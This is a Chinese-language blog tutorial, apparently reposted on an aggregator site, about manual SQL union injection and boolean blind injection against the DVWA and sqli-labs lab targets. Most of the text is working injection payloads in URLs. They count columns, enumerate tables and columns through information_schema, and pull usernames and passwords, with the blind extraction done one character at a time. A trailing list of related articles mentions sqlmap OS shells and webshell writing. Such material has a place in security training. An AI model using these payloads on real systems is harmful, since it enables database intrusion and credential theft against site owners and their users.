union(联合)注入和布尔注入

2023-11-16

没有很快乐,也没有不快乐,好像不该这样,但也只能这样,成长也许如此,行于奔溃边缘又慢慢自愈吧。。。

----  网易云热评

一、union联合注入

1、select 1,2,3会生成一张临时表,表中的字段为查询的字段,内容也是查询的字段

 

2、select 1,2,3 union select 3,2,1,同样生成一张临时表,表中的字段为union左边查询的字段,内容为union左右两边查询的字段!

 

3、如果不想显示左边的查询数据,只要左边的查询结果为假,就不会显示数据,比如:and 1=2或user_id=-1,这样只显示右边的查询数据!

联合查询,需要保证两表的列数相同和列的数据类型相同

 

4、判断列数:由于输入order by 3报错

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=1' order by 2 --

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=1' order by 3 -- 

5、判断显示位:显示位是1和2,可以用MySQL语句来代替获取信息!

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,2' -- &Submit=Submit#

 

6、获取数据库名称和版本信息

version():获取数据库版本号

database():获取数据库名称

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select database(),version()' -- &Submit=Submit#

 

7、获取数据库中表的名字

获取第二个表名

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1) -- &Submit=Submit#

 

8、获取所有的表名

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- &Submit=Submit#

limit 0,1:第一个表名,guestbook

limit 1,1:第二个表名,users

......

limit n,1:第n个表名,......

group_concat():连接所有表名

 

9、获取user表中的字段名

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'  -- &Submit=Submit#

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select 1,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1) -- &Submit=Submit#

 

10、获取字段的内容

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select password,user from users limit 2,1 -- &Submit=Submit#

 

二、布尔注入

1、判断是否存在注入,输入’,报错说明存在注入

http://192.168.77.128/sqli/Less-8/?id=1

http://192.168.77.128/sqli/Less-8/?id=1' 报错,说明存在注入

 

2、判断字符注入还是数字注入

http://192.168.77.128/sqli/Less-8/?id=1 and 1=1%23

http://192.168.77.128/sqli/Less-8/?id=1 and 1=2%23 

都没有报错,说明是字符型

 

3、判断是否是存在布尔注入

http://192.168.77.128/sqli/Less-8/?id=1 and 1=1%23

http://192.168.77.128/sqli/Less-8/?id=1 and 1=2%23 

报错,说明存在布尔注入

 

4、id=1能正常显示信息,加入and语句后,只有同时满足条件才能正常显示,根据这个逻辑去确定最终的数据库长度

 

5、判断数据库名的长度

length():计算字符串长度

http://192.168.77.128/sqli/Less-8/?id=1' and length(database())=8%23 返回正常,说明该数据库名的长度为8

 

6、获取数据库名的每个字母

substr(database(),1,1):字符串的第1个字符,第一个1,起始位置,不是0开始,而是1开始;最后一个1,取字符的个数,1代表取1个字符

substr(database(),2,1):字符串的第2个字符

ascii():字符转换为对应的ASCII码值

ord() == ascii()

left:从左边开始取字符

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 %23 115代表字符s

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))=101 %23 101代表字符e

http://192.168.77.128/sqli/Less-8/?id=1' and left(database(),2)='se' %23

最后确定数据的名字为security

 

7、获取表的名字

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23 

获取第一个表的第一个字符e

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 %23 

获取第一个表的第二个字符m

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 %23 

获取第二个表的第一个字符r

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101 %23 

获取第二个表的第二个字符e

 

8、获取user表的字段

http://192.168.77.128/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^use' limit 0,1) %23 是否存在use开头的列

http://192.168.77.128/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) %23 是否存在username开头的列

同样可以判断出password的列名

 

9、获取字段的内容

cast(username as char)将username转换成char类型,注意这里是cast函数(语法:cast(字段名 as 转换的类型 ))

ifnull(expr1,expr2)函数的语法为如果 expr1 不是null,ifnull() 返回 expr1,否则它返回 expr2。

0x20是空格的ascii码的十六进制表示。

mid()函数截取字符串一部分,mid(str,start,length)从位置start开始,截取str字符串的length位。

ord()函数同ascii(),将字符转为ascii值。

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68 %23  

获取username字段的第一个数据的第一个字符

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),2,1))=117 %23 

获取username字段的第一个数据的第一个字符

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 1,1),1,1))=65 %23 

获取username字段的第二个数据的第一个字符

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 1,1),2,1))=110 %23  

获取username字段的第二个数据的第二个字符

Angelina

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

union(联合)注入和布尔注入 的相关文章

  • BUUCTF WEB笔记之[极客大挑战2019] EasySQL、LoveSQL、BabySQL、HardSQL

    小白一个 记录一下解题过程 如有错误请指正 一 EasySQL 1 这里我们使用一句话万能密码就可以了 记得加上 1 or 1 1 2 登录就可以拿到flag 二 LoveSQL 网页里说用sqlmap是没有灵魂滴 但是还是手痒试了一下 发
  • 基于Sqli-Labs靶场的SQL注入-54~65关

    目录 Less54 十步以内获取密钥 爆破数据库名 爆破表名 爆破列名 爆破字段值 Less55 十四步以内获取密钥 爆破数据库名 爆破表名 爆破列名 爆破字段值 Less56 十四步以内获取密钥 Less57 十四步以内获取密钥 Less
  • CTF做题总结(二)

    前言 最近这段时间在内部平台上做了一些Web题 和最基础的Reverse签到题 虽说还有两道Reverse题没做出来 但还是先总结一下吧 Web1 BASE INJECT 看题目提示 就知道这道题之前做过 不过当时没总结 现在总结一下 题目
  • sqli-labs:less-2(数字型报错注入)

    贴上源代码
  • iwebsec靶场 SQL注入漏洞通关笔记7- 空格过滤绕过

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1 数字型注入 mooyuan的博客 CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2 字符型注入 宽字节注入 mooyuan的博客 CSDN博客 iwebsec靶场 SQL
  • SQL注入漏洞(绕过篇)

    在学习完了SQL注入的原理 SQL注入的类型后那么可以说SQL注入已经大致了解了 但事实是现实中开发人员不可能让你这么简单就攻击到数据库 他们一般会对已输入或可输入的数据做一定限制 这篇文章我主要对SQL注入中代码或者waf过滤的绕过做一次
  • SQL注入-盲注(布尔盲注与时间盲注)

    目录 一 什么是盲注 二 盲注的分类 三 利用盲注的前提条件 四 盲注的优缺点 五 基于布尔类型的盲注 1 什么情况下使用布尔类型的盲注 2 使用布尔类型盲注的操作步骤 3 布尔类型盲注的操作过程 以获取当前数据库为例 4 使用其他函数进行
  • sqlmap --os-shell 使用方法

    一 burp suite抓包 如上图所示 红框处很明显是一个传参点 我们就在这个页面抓包 抓到包之后将内容保存到桌面的1000 txt文件下 二 sqlmap跑包 打开sqlmap跑包 python sqlmap py r C Users
  • sqli-labs:less-21

    和20题很像 然后一看cookie是一个base64编码的 解码一下 是Dumb 所以cookie一个是注入点 只是有个base64编码 随便提一下 base32 只有大写字母和数字数字组成 或者后面有三个等号 base64 只有大写字母和
  • 常见的SQL注入分类

    SQL注入分类 用SQLmap来判断 类别 按 SQLMap 分类SQL 注入类型有以下 5 种 1 UNION query SQL injection 可联合查询注入 2 Stacked queries SQL injection 可多语
  • 内网渗透-代理篇(reGeorg+Proxifier代理工具)

    声明 贝塔安全实验室公众号大部分文章来自团队核心成员和知识星球成员 少部分文章经过原作者授权和其它公众号白名单转载 未经授权 严禁转载 如需转载 请联系开白 请勿利用文章内的相关技术从事非法测试 如因此产生的一切不良后果与文章作者及本公众号
  • SQL注入系列之ASP+ACCESS手动注入(一)----数字型

    一 access数据库 1 简介 Microsoft Office Access是由微软发布的关系数据库管理系统 它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点 是 Microsoft Offi
  • 一句话木马、security_file_priv、into outfile、my.ini、sqli-labs-Less7

    sqli labs Less7闯关会用到一句话木马 http 127 0 0 1 Less 7 id 1 union select 1 2 into outfile C hackfiles sqli labs master Less 7 m
  • 宽字节注入讲解

    我讨厌现在的自己 一边压抑着自己的情绪 一边装作没事的样子 一到深夜就彻底崩溃了 天亮后还要微笑面对生活 网易云热评 一 原理 1 单字节字符集 所有的字符都使用一个字节来表示 比如 ASCII 编码 0 127 2 多字节字符集 在多字节
  • sqli-labs:less-27(过滤select和union)

    div div
  • Linux提权备忘录

    如果不是因为真的喜欢你 我纠缠你干嘛 我又何必那么卑微 那么不堪 甚至不停修改自己的底线 到最后变得一文不值 网易云热评 一 判断是否为虚拟机 cat proc scsi scsi dmesg grep i vir w who 查询目前登录
  • 从入门到入土:[SEED-Lab]-SQL注入攻击

    此博客仅用于记录个人学习进度 学识浅薄 若有错误观点欢迎评论区指出 欢迎各位前来交流 部分材料来源网络 若有侵权 立即删除 本人博客所有文章纯属学习之用 不涉及商业利益 不合适引用 自当删除 若被用于非法行为 与我本人无关 SEED Lab
  • SQL注入攻击介绍

    SQL注入攻击介绍 一 SQL注入攻击简介 SQL注入攻击是指 后台数据库操作时 如果拼接外部参数到SQL语句中 就可能导致欺骗服务器执行恶意的SQL语句 造成数据泄露 删库 页面篡改等严重后果 按变量类型分为 数字型 字符型 按HTTP提
  • 渗透测试——cookie注入

    1 cookie注入原理 Cookie最先是由Netscape 网景 公司提出的 Netscape官方文档中对Cookie的定义是这样的 Cookie是在HTTP协议下 服务器或脚本可以维护客户工作站上信息的一种方式 Cookie的用途非常
  • 【SQL注入-12】http头部注入案例—基于Sqli-labs靶机(借助BurpSuite工具)

    目录 1 概述 1 1 User Agent概述 1 2 Referer 概述 2 实验平台及实验目标 2 1 实验平台 2 2 实验目标 3 User Agent注入案例 以sqli labs Less18为例 3 1 注入前准备 3 2

随机推荐

  • 手把手教你CIFAR数据集可视化

    CIFAR数据集介绍与获取 如同从小到的父母教我们识别每个物体是什么一样 除了看到的画面 父母会在旁边告诉看到的画面是什么 这种学习方式叫做监督学习 与此对应还有无监督学习 计算机也一样 数据集通常应该至少包含两部分内容 一个是图像 一个是
  • C语言:三目运算符 “?”号

    三目运算符的表示一般为 该运算符连接3个对象 是C语言中唯一一个三目运算符 又称条件运算符 它的一般形式如下 表达式a 表达式b 表达式c 其执行步骤如下 1 计算表达式a的值 2 如果表达式a的值为1 则执行表达式b 3 如果表达式b的值
  • 支付宝API支付使用文档--java《扫一扫支付》--demo但是封装高可用--改一改配置就拿走用!超详细!!有手就行!!!--spring +vue-调用支付宝的当面付的预创建接口

    支付宝API支付使用文档 java 扫一扫支付 demo但是封装高可用 改一改配置就拿走用 超详细 有手就行 上 修改官网配置类 一单成的博客 CSDN博客 阿丹 上一篇文章具体的描述和讲解了官方提供的配置类 以及如何使用注册开发沙箱 本篇
  • Linux系统图形界面,字符界面切换快捷键。启动图形界面服务。

    Ctrl Alt F3 启动字符界面 Ctrl Alt F7 启动图形界面 启动图形界面服务 cd etc init d service lightdm restart
  • 重装win8.1搜索不到 wifi

    这几天一直忙着研究装系统 毕竟自己是个小白 经常搞到深夜4点钟 今天终于算是有点眉目了 重新装完win8 1 电脑竟然搜索不到wifi 点开右下角那个图标 只有宽带连接这一个选项 于是到网上搜索 怎么解决 网上给了很多答案 基本都差不多 我
  • TCP/IP的三次握手、四次挥手

    本文通过图来梳理TCP IP协议相关知识 TCP通信过程包括三个步骤 建立TCP连接通道 传输数据 断开TCP连接通道 如图1所示 给出了TCP通信过程的示意图 上图主要包括三部分 建立连接 传输数据 断开连接 建立TCP连接很简单 通过三
  • Temporary failure in name resolution解决方法

    终端运行sudo su 输密码 vi etc reslov conf 输入i进入编辑模式 在文档末尾加入 nameserver 8 8 8 8 nameserver 114 114 114 114 按esc 输入 wq保存退出 执行 etc
  • 第八章 Oracle恢复内部原理(重置日志RESETLOGS)

    重置日志选项用于下列情形后的第一次打开数据库的时候 不完全恢复 基于备份控制文件的恢复 CREATE CONTROLFILE RESETLOGS 重置日志的最主要的作用就是丢弃不完全恢复中没有使用的重做日志并保证后续的恢复不再需要 为此 重
  • dll修复工具哪个比较好?修复工具介绍

    DLL 动态链接库 是Windows操作系统中非常重要的一部分 它们存储了各种软件应用程序所需的公共代码和数据 然而 随着时间的推移 电脑上的DLL文件可能会因为各种原因而损坏或丢失 导致系统出现错误 因此 修复DLL错误是一项非常重要的任
  • linux 下 C++ 与三菱PLC 通过MC Qna3E 二进制 协议进行交互

    西门子plc 有snap7库 进行交互 并且支持c 而且跨平台 但是三菱系列PLC并没有现成的开源项目 没办法只能自己拼接 我这里实现了MC 协议 Qna3E 帧 并使用二进制进行交互 pragma once include
  • HDU--1236:排名 (水题)

    1 题目源地址 http acm hdu edu cn showproblem php pid 1236 2 程序源代码 HOJ 1236 排名 include
  • 软件测试框架理论知识

    一 软件测试的定义 1 软件测试的目标应该服从于软件项目的目标 软件测试通过更高效的方法和工具 提高软件开发的效率和质量 2 在规定的条件下 对软件进行审核 运行 评估 验证软件系统是否满足需求规格说明书 3 预防 发现 跟踪软件缺陷 提高
  • Unity篇:加快unity导入工程速度-Cache server链接

    1 已有unity打开 编辑窗口选择点击edit edit下拉展示的列表里打开Preferences 2 选择Cache server界面 Cache server Mode 选择remote 举例 输入192 168 15 131或者19
  • 目标检测中的mAP(mean Average Precision)快速理解

    前言 最近开始接触目标检测 object detection 但是对于衡量算法好坏的mAP Mean Average Precision 并不太理解 经过了一番整理 下面我们就来看看什么是mAP 在目标检测算法中 像是Faster R CN
  • vue上下滑动(仿高德)

    效果图 需求 一个页面底部对应一块区域 底部的区域可以上下滑动到顶部 可以来回上下滑动延伸 如上所述 代码
  • C++实现行列式的相关操作

    目录 一 前言 二 行列式运算操作集 1 概览 2 行列式的定义 3 行列式的输出与输入 4 行列式行与行 列与列的相加 5 行列式的行交换与列交换 6 行列式的行提取公因数与列提取公因数 7 行列式系数清零恢复 8 判断一个行列式是否是三
  • 无须SMTP服务器中转直接将电子邮件发送到对方邮箱

    前言 大家一定熟悉Foxmail中的 特快专递 它能直接将电子邮件发送到对方的邮件服务器中 而不需要经过SMTP服务器中转 这样做有什么好处 第一 发送速度比较快 不需要等SMTP服务器对邮件进行查毒 派发 验证 第二 你可以及时掌握邮件是
  • Spring(一)之控制反转和依赖注入

    1 sts下载 https spring io tools3 sts all 参考博客 https blog csdn net m0 37920381 article details 79972438 2 简介 spring是一个开源框架
  • JQuery针对select下拉框的各项操作

    JQuery针对select下拉框的各项操作 select id change function code 为Select添加事件 当选择其中一项时触发 var checkText select id find option selecte
  • union(联合)注入和布尔注入

    没有很快乐 也没有不快乐 好像不该这样 但也只能这样 成长也许如此 行于奔溃边缘又慢慢自愈吧 网易云热评 一 union联合注入 1 select 1 2 3会生成一张临时表 表中的字段为查询的字段 内容也是查询的字段 2 select 1